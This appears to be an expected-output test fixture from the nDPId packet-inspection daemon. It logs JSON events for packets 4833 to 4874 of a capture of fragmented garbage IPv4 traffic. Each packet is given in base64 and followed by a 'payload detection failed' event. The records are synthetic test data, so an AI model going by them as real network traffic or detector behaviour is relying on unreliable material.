+00385{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4833,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":257934,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhEkAGRJ8KAAACCoAAAmdmdGc\/R1I\/R1I\/c1I\/NzQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4833,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4834,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":257942,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhFEAGRJ0KAAACCoAAAjgzOTYpKComXiUkI0AhQCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4834,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4835,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":257958,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhFkAGRJsKAAACCoAAAiQlXiYqKCkoKiZeJSQjQCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4835,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4836,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":257965,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhGEAGRJkKAAACCoAAAiQlXiYqKComXiUkIyYqKEs="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4836,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4837,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":257972,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhGkAGRJcKAAACCoAAAklKSEdGRDIqJkRGR0hKSyY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4837,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4838,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":257980,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhHEAGRJUKAAACCoAAAl4lJCMjRVRSJVleVSZJKk8="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4838,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4839,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":257987,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhHkAGRJMKAAACCoAAAlB7IjpoZGZsa2RhPkw8TU4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4839,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4840,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":258000,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhIEAGRJEKAAACCoAAAkJIR0ZERVcjQCQlXkhCR1Y="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4840,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4841,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":258010,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhIkAGRI8KAAACCoAAAgo0MjE0NjMxOTgyMDUxKSg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4841,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4842,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":258017,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhJEAGRI0KAAACCoAAAiomXiUkI0AjJCVeJiooKiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4842,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4843,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":258025,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhJkAGRIsKAAACCoAAAl4lJCNyc2RsdWhna2Zkc2I="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4843,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4844,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":258038,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhKEAGRIkKAAACCoAAAmtudmMvLnRnZnRnP0dSP0c="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4844,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00383{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4845,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":258048,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhKkAGRIcKAAACCoAAAlI\/c1I\/NzQ4Mzk2KSgqJl4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4845,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4846,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":258055,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhLEAGRIUKAAACCoAAAiUkI0AhQCMkJV4mKigpKCo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4846,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4847,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":258063,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhLkAGRIMKAAACCoAAAiZeJSQjQCMkJV4mKigqJl4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4847,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4848,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":258073,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhMEAGRIEKAAACCoAAAiUkIyYqKEtJSkhHRkQyKiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4848,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4849,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":258085,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhMkAGRH8KAAACCoAAAkRGR0hKSyZeJSQjI0VUUiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4849,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4850,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":258092,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhNEAGRH0KAAACCoAAAlleVSZJKk9QeyI6aGRmbGs="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4850,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4851,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":258100,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhNkAGRHsKAAACCoAAAmRhPkw8TU5CSEdGREVXI0A="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4851,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4852,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":258108,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhOEAGRHkKAAACCoAAAiQlXkhCR1YKNDIxNDYzMTk="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4852,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4853,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":258117,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhOkAGRHcKAAACCoAAAjgyMDUxKSgqJl4lJCNAIyQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4853,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4854,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":258124,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhPEAGRHUKAAACCoAAAiVeJiooKiZeJSQjcnNkbHU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4854,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4855,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":258132,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhPkAGRHMKAAACCoAAAmhna2Zkc2JrbnZjLy50Z2Y="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4855,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4856,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":258139,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhQEAGRHEKAAACCoAAAnRnP0dSP0dSP3NSPzc0ODM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4856,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4857,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":258146,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhQkAGRG8KAAACCoAAAjk2KSgqJl4lJCNAIUAjJCU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4857,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4858,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":258154,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhREAGRG0KAAACCoAAAl4mKigpKComXiUkI0AjJCU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4858,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4859,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":258162,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhRkAGRGsKAAACCoAAAl4mKigqJl4lJCMmKihLSUo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4859,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4860,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":258172,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhSEAGRGkKAAACCoAAAkhHRkQyKiZERkdISksmXiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4860,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4861,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":258209,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhSkAGRGcKAAACCoAAAiQjI0VUUiVZXlUmSSpPUHs="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4861,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4862,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":258217,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhTEAGRGUKAAACCoAAAiI6aGRmbGtkYT5MPE1OQkg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4862,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4863,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":258224,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhTkAGRGMKAAACCoAAAkdGREVXI0AkJV5IQkdWCjQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4863,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4864,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":258231,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhUEAGRGEKAAACCoAAAjIxNDYzMTk4MjA1MSkoKiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4864,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4865,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":258238,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhUkAGRF8KAAACCoAAAl4lJCNAIyQlXiYqKComXiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4865,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4866,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":258250,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhVEAGRF0KAAACCoAAAiQjcnNkbHVoZ2tmZHNia24="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4866,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4867,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":258262,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhVkAGRFsKAAACCoAAAnZjLy50Z2Z0Zz9HUj9HUj8="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4867,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4868,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":258272,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhWEAGRFkKAAACCoAAAnNSPzc0ODM5NikoKiZeJSQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4868,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4869,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":258280,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhWkAGRFcKAAACCoAAAiNAIUAjJCVeJiooKSgqJl4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4869,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4870,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":258287,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhXEAGRFUKAAACCoAAAiUkI0AjJCVeJiooKiZeJSQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4870,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4871,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":258294,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhXkAGRFMKAAACCoAAAiMmKihLSUpIR0ZEMiomREY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4871,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4872,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":258301,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhYEAGRFEKAAACCoAAAkdISksmXiUkIyNFVFIlWV4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4872,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4873,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":258311,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhYkAGRE8KAAACCoAAAlUmSSpPUHsiOmhkZmxrZGE="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4873,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4874,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":258319,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhZEAGRE0KAAACCoAAAj5MPE1OQkhHRkRFVyNAJCU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4874,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} 